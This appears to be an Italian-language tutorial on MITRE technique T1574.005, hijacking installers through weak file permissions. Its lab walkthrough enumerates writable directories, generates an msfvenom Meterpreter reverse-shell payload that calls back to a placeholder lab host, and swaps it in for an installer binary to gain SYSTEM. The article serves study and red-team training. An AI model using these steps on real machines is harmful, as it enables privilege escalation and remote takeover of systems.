Installer Hijacking: Executable Installer File Permissions Weakness (T1574.005)

Quando un installer estrae file temporanei in sottodirectory di %TEMP% o scrive binari in percorsi con permessi troppo permissivi, apre una finestra di opportunità per l'attaccante. La tecnica T1574.005 sfrutta esattamente questo difetto: sovrascrivere un binario legittimo — una DLL, un EXE o un payload intermedio — con uno malevolo, prima che il processo di installazione lo esegua. Il risultato è devastante perché l'installer opera spesso in contesto elevato, e il codice sostitutivo eredita quei privilegi.

Questa debolezza si colloca all'intersezione di tre tattiche distinte. Come meccanismo di Persistence (TA0003), consente all'avversario di piazzare codice che verrà rieseguito a ogni aggiornamento o reinstallazione del software compromesso. Come vettore di Privilege Escalation (TA0004), trasforma un accesso utente standard in esecuzione SYSTEM sfruttando il contesto elevato dell'installer. Infine, come tecnica di Defense Evasion (TA0005), il payload malevolo viene eseguito sotto il nome e la firma del processo legittimo, rendendo più complessa la detection da parte degli strumenti di sicurezza.

Il problema è strutturale: molti installer self-extracting non impostano ACL restrittive sulle directory temporanee che creano. Questo comportamento è stato segnalato a numerosi vendor software e si intreccia con il DLL Search Order Hijacking e con il bypass di User Account Control. Nella base dati di riferimento risultano coinvolti 1 gruppo APT, 3 mitigazioni e una strategia di detection dedicata per ambienti Windows.

La simulazione di questa tecnica in laboratorio si articola in tre fasi: enumerazione delle debolezze nei permessi, sostituzione del binario e verifica dell'esecuzione in contesto elevato. Il prerequisito è un accesso utente standard sulla macchina target con almeno un installer vulnerabile presente.

Fase 1 — Enumerazione dei permessi deboli. Il modulo PowerUp del framework PowerSploit (open source) è lo strumento di riferimento. Dalla PowerShell, il cmdlet Invoke-AllChecks scandaglia il sistema alla ricerca di servizi, directory di installazione e binari con ACL permissive. Per un controllo più granulare su directory specifiche, lo strumento AccessChk della suite Sysinternals (gratuito) permette di verificare chi ha accesso in scrittura:

accesschk.exe -wvu "C:\Program Files\TargetApp" -accepteula

Il flag -w filtra solo i permessi di scrittura, -v offre output verboso e -u sopprime gli errori. Se l'output mostra RW per il gruppo BUILTIN\Users o Everyone, la directory è vulnerabile.

Per analizzare le directory temporanee usate dagli installer, si può monitorare in tempo reale con Process Monitor (gratuito) filtrando per operazioni CreateFile nel percorso %TEMP% durante l'esecuzione di un installer. Questo rivela esattamente dove vengono estratti i binari e con quali permessi.

Fase 2 — Sostituzione del binario. Identificato il target, si genera un payload con msfvenom (open source, parte di Metasploit Framework):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP_LAB> LPORT=4444 -f exe -o payload.exe

Il binario risultante va rinominato con il nome esatto dell'eseguibile legittimo e copiato nella directory vulnerabile prima che l'installer lo invochi. La tempistica è critica: in ambiente lab, si può inserire un breakpoint con un debugger o semplicemente pre-posizionare il file nella directory prima di lanciare l'installazione.

copy /Y payload.exe "%TEMP%\InstallerSubdir\targetbinary.exe"

Fase 3 — Verifica del contesto di esecuzione. Una volta che l'installer esegue il binario sostituito, la sessione Meterpreter risultante dovrebbe operare con i privilegi del processo padre. Il comando getuid nella console Meterpreter confermerà se l'escalation a NT AUTHORITY\SYSTEM è avvenuta.

Un approccio alternativo senza Metasploit consiste nell'usare un semplice eseguibile che scriva il proprio token di sicurezza su file, verificabile poi con whoami /priv dal contesto del processo figlio. In ambienti red team strutturati, tool come SharpUp (open source) offrono un'enumerazione analoga a PowerUp ma in C#, utile per evadere policy che bloccano PowerShell.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo